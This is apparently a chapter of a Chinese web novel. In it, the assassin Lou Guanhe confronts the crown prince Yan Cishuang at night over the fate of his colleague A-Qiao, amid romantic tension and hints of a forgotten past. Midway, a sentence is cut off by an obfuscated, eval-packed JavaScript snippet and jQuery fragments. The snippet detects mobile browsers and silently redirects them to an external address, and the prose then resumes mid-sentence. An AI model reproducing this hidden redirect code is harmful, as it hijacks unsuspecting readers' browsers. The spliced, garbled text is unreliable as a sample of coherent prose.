绵密的清苦似冗长的河,沿着鼻喉淌入肠胃里,苦得让人难以安眠。
楼观鹤缓缓睁开眼。
入目仍是熟悉的装潢。
……他仍在宴辞霜的寝殿中。
看起来好似也没缺胳膊少腿……专门将他迷晕为了什么?
药效尚未完全消退,四肢酸乏无力,但习武之人的感官已恢复了大半。
那股苦味,不是做梦。
长久浸润在药里沾染的苦味,楼观鹤再熟悉不过。
阿悄。
他撑着坐起,敏锐捕捉到屋内还有另一道气息。
至于那是何人,楼观鹤心中已有推算。
他的步子极轻,好似也成了黑暗中一道模糊不清的影子,悄无声息绕过屏风,借着月色瞧清来了外间榻上休憩的人。
宴辞霜。
到了外间,那股苦味更重了两分,萦绕在软榻上。
若非长时间近距离接触过,这味道不至于如此纠缠在宴辞霜身上。
楼观鹤眼色微沉,手中将那支桃花簪攥得更紧。
月色粼粼中,觉浅的太子似有所觉,半睁开眼,喑哑唤道:“木兄?”
楼观鹤隐匿在朱红柱之后,不动如山。
“……还没醒么?”宴辞霜坐起身,将窗徐徐推开。
夜风习习,忽而卷起,吹的长发如墨泼散,楼观鹤只能瞧见半张姣好侧颜,迎着月霞,白皙莹润,恰似无暇天仙将要奔月归位。
楼观鹤强压下不知缘由、毫无道理的空落,借着风声潜行。
钝钝的簪尾抵在宴辞霜的后心窝上,薄薄的寝衣防不住簪尾的尖锐,也藏不住肌肤接触带来的暖意。
楼观鹤抵在宴辞霜后背的手不由得贴紧了两分,用那点微不足道的体温烘暖小小的一块。
好凉……
这般冷,还开什么窗?不怕着凉么?
“你醒了。”
宴辞霜不曾回头,却也叫人不难听出言语中浅淡笑意。
“你把阿悄如何了?”
宴辞霜一怔,回眸,笑意跟着绽开:“小鸟怎么这么凶?”
云鹤阁内人情冷漠,许多杀手刺客便是到死也没与同僚说过几句话,楼观鹤更是话少中的佼佼者,除了阿悄,再无旁人会这般称呼他。
楼观鹤用力了两分:“回答我。”
风不曾停,窗外枝叶沙沙不断,宴辞霜盯盯看了片刻,忽而感慨:“这会儿,倒真像个杀手了。”
肃杀,冷厉,好似索命阎王,下一秒便会夺人性命。
“小鸟,不要让我不高兴。”宴辞霜往后倒去,完全不在乎抵在后背的玉簪。
楼观鹤后撤了半分,却又及时悬崖勒马,停在原地。
他分明只是不愿轻易放了宴辞霜,可这姿势,却反倒像他生怕宴辞霜摔倒,紧紧搂住宴辞霜,似缱绻爱侣,嬉笑胡闹,亲密得令他无措彷徨。
楼观鹤喉头发紧,不敢低头看。
便是如此,从他怀中投来的目光仍旧灼灼。
宴辞霜眼尾被冷风吹的泛红,他轻声慢语,柔情似刀:“毕竟,我舍不得对你如何,便只那好撒气在阿俏姑娘上了。”
“……卑鄙。”
宴辞霜淡笑:“若只骂这一句,可没什么效用。”
楼观鹤从没见过主动讨骂的人,被怔得哽住,一时忘了要说的狠话,只得干巴巴道:“她和这事没关系,你放了她。”
“这么巧,她也跟你说过一样的话。”宴辞霜笑道,“她说这个任务原是她的,你是替她来的,冤有头债有主……让我放了你。”
“这可怎么办?”
太子面上的浅笑骤然落了下来,嘴角微微勾起,透着几分冷意。
“我偏一个都不想放。”
沉默对峙让时间变得难熬,楼观鹤素来不擅长此道——在云鹤阁这么多年来,也从没接过威胁、恐吓、谈判之类的活。
太难了。
楼观鹤抿唇:“我会杀了你。”
“嗯。”宴辞霜松松散散得调整了下姿势,让自己靠得更舒服些,“动手吧。”
楼观鹤:“……”
这不对吧……他见旁人执行任务的时候不是这样的。
那个谁不是说过,越是身份尊贵的人越惜命吗?
普天之下,除了坐在龙椅上的那位,还有谁比东宫太子要更身份尊贵?他怎得……
半点都不惜命?
好吧,他忘记了。
宴辞霜若是惜命,就不会将个杀手好好养在这儿。
不畏死的人,总要技高一筹。
楼观鹤没那么想活,只是他了无牵挂,阿悄却还有未尽的心愿。
“你待如何。”
宴辞霜没说话,食指缠住一缕垂落的青丝,绕了数圈,稍稍用力。
细微的疼痛令楼观鹤下意识往前倾,恰好宴辞霜仰起头。
好近。
近到呼吸……都格外有存在感。
温热的,吞吐间带着浅薄的香气,夹杂在苦药味中,愈显馥郁。
“什么都可以吗,小鸟?”
楼观鹤想退,但宴辞霜得寸进尺,忽然揪住了他的衣领。
等等——
楼观鹤往前倾了半分,本就不富余的距离被压缩到极限,他甚至感受到什么温热柔软的两瓣轻轻擦过面颊。
他瞳孔骤缩,似受到莫大惊吓,不管不顾后撤两步——
“撕拉!”
宴辞霜也不曾料到是如此局面,他怔怔盯着手中的布料,默然,眼睛却不安分,欲盖弥彰地扫过一次、又一次。
“不许看!”楼观鹤猛地回神,咬牙切齿地低喝。
他可没忘记——这卑鄙无耻下流的太子好男风!
“啊……”宴辞霜迟疑,视线游移,却迟迟没能真正移开。
虎臂蜂腰螳螂腿,宫内御前侍卫需得遵守此则选拔,武艺高强的同时,个个都赏心悦目。
身为东宫太子,宴辞霜见过不少出类拔萃的御前侍卫,但比之楼观鹤,皆远不及也。
可是、
宴辞霜思绪难平。
数年前……楼观鹤的身材有如此好吗?
宴辞霜有些记不清了。
少年抽条,难免有些挂不住肉,纤瘦苗条,又突逢巨变,更是雪上加霜。
到最后,宴辞霜记得最清晰的,竟是楼观鹤紧闭双眼、了无生气躺在床榻上的模样。
也直到那时,他才发觉,冷静自持、仿若无所不能的哥哥已被拖得身形消瘦,心血耗空。
一如当年他所说,离了他,怎么都能活得更好、更好。
苦。
宴辞霜身体康健,除了那段时日,甚少患病吃药,可眼下,他好似含了片黄连在口中,苦的眼眶发涩,心口抽痛。
鹤鸟不可囚于樊笼,其翼本为长风生。
他的痴念、束缚,皆不过累赘。
楼观鹤匆匆躲入屏风后,随手摸了件外衣,确保将自己裹得严严实实了,方才小心走出。
只走了三五步,他便不动了,任由月色在他与宴辞霜之间划出道宽阔银河。
发生什么了?
楼观鹤敏锐察觉到宴辞霜骤然疏冷的情绪,难免疑惑。
难不成其实好男风只是阴险太子的托辞,前几日还能强装着入戏三分,今日确切瞧清男人身体,难以接受,破了功?
若真如此,楼观鹤应当买些鞭炮好生庆祝一番。
可不知为何,他微妙的,有些不舒服。
想必是因发觉他竟被心机深沉的太子数句花言巧语蒙骗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17430758|200924||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,对此信以为真的恼怒。
真真是满嘴胡言,半句都不可信!
“你走吧。”
楼观鹤:“?”
宴辞霜并不看他,冷冷道:“寅时禁军交班,你跟着齐宣屏,出宫,再不许入盛京。”
楼观鹤听着宴辞霜有些古怪的断句,不为所动,问:“阿悄呢?”
分明一刻钟前心机深沉的太子才说不可能放他走,如今却又让他离开?
哈?
楼观鹤不动声色地环绕四周,难道阿悄正在某处听着他们说话?
狡诈的太子想用这种方式离间他与阿悄,好让阿悄道出幕后之人吧?
果然这些个了不得的人物个个满腹算计。
“我不走。”楼观鹤斩钉截铁。
提议被拒,宴辞霜面上却无半分惊异,他抵在食指指腹的指尖用力,掐紧了落在他手心里的那根青丝。
“若你忧心阿悄,那我也可许诺,只要你活着一日,我便保阿悄无忧。”宴辞霜话锋一转,“可若是你在外头受了伤,或是什么,你的伤如何,阿悄身上便会如何。”
楼观鹤不觉此话是为了他的安危着想。
诚然如心机深沉的太子所言,刺杀太子的任务是阿悄的。
他背着阿悄顶了她的名字来执行任务,对任务内情知之甚少,就连是何人下的命令也半分不知。
相较之下,阿悄知道的必然比他多得多。
宴辞霜说着要放他走,实则必然是想利用他撬开阿悄的嘴。
阿悄是为了救他而入险境,无论如何他都不会就这么走。
更何况,狡诈太子满口谎言,他才不信。
楼观鹤下定决心,笃定道:“你放了她,我留下来。”
“你留下来?”
宴辞霜说得很慢,近乎一字一顿。
他的声音轻极了,一张口,好似便散在了月色里,好似迷茫,又好似无措。
迷茫什么?
满肚子算计也还有什么算不明白的时候么?
楼观鹤捉摸不透,只好静观其变。
良久,宴辞霜缓缓抬眸,定定望着楼观鹤:“就算你留下,我也不会放了阿悄,如此,你仍要留下?”
好奇怪。
楼观鹤莫名觉得有丝丝缕缕的违和感,可眼下也顾不得思虑更多:“是。”
“……”
宴辞霜又垂下头去,未束的长发自肩头散落,遮住他的面目,使得神色越发难辨。
楼观鹤却反在刹那间了悟。
方才那一面,竟是这些天来,他头一次瞧见宴辞霜半点笑意都无的模样。
疏离矜贵,令人望而生惧,避之不及。
然,违和的并非宴辞霜的以往不同,而是他楼观鹤,竟不觉得那神色违和,反而潜意识中认定本该如此。
本该如此?
他一个普普通通的杀手……自刺杀之前,从未与太子这般人物有过交集,何来的本该如此?
头痛。
楼观鹤为不可察地皱眉。
额角的血管一抽一抽的跳,随之而来的是不清晰的呓语,一声叠一声,直至与心跳共振,他方才辨认清楚——
“……哥哥。”
“木兄。”
模糊的幻音同太子的音色重叠,霎时间,楼观鹤甚觉心轰然漏跳半拍。
四目遥遥相对,皆难辨彼此。
宴辞霜道:“只此一次,他日,我绝不允你悔之。”
便是赴死,也当伴他身侧,与他同穴葬。
月华被云雾遮挡,眼前忽而昏暗难明。
漆黑之中,楼观鹤听见错跳的心脏博然跃动,似欣喜,又似急切。
他无措迷茫。
缘何欣喜?
又缘何……急切?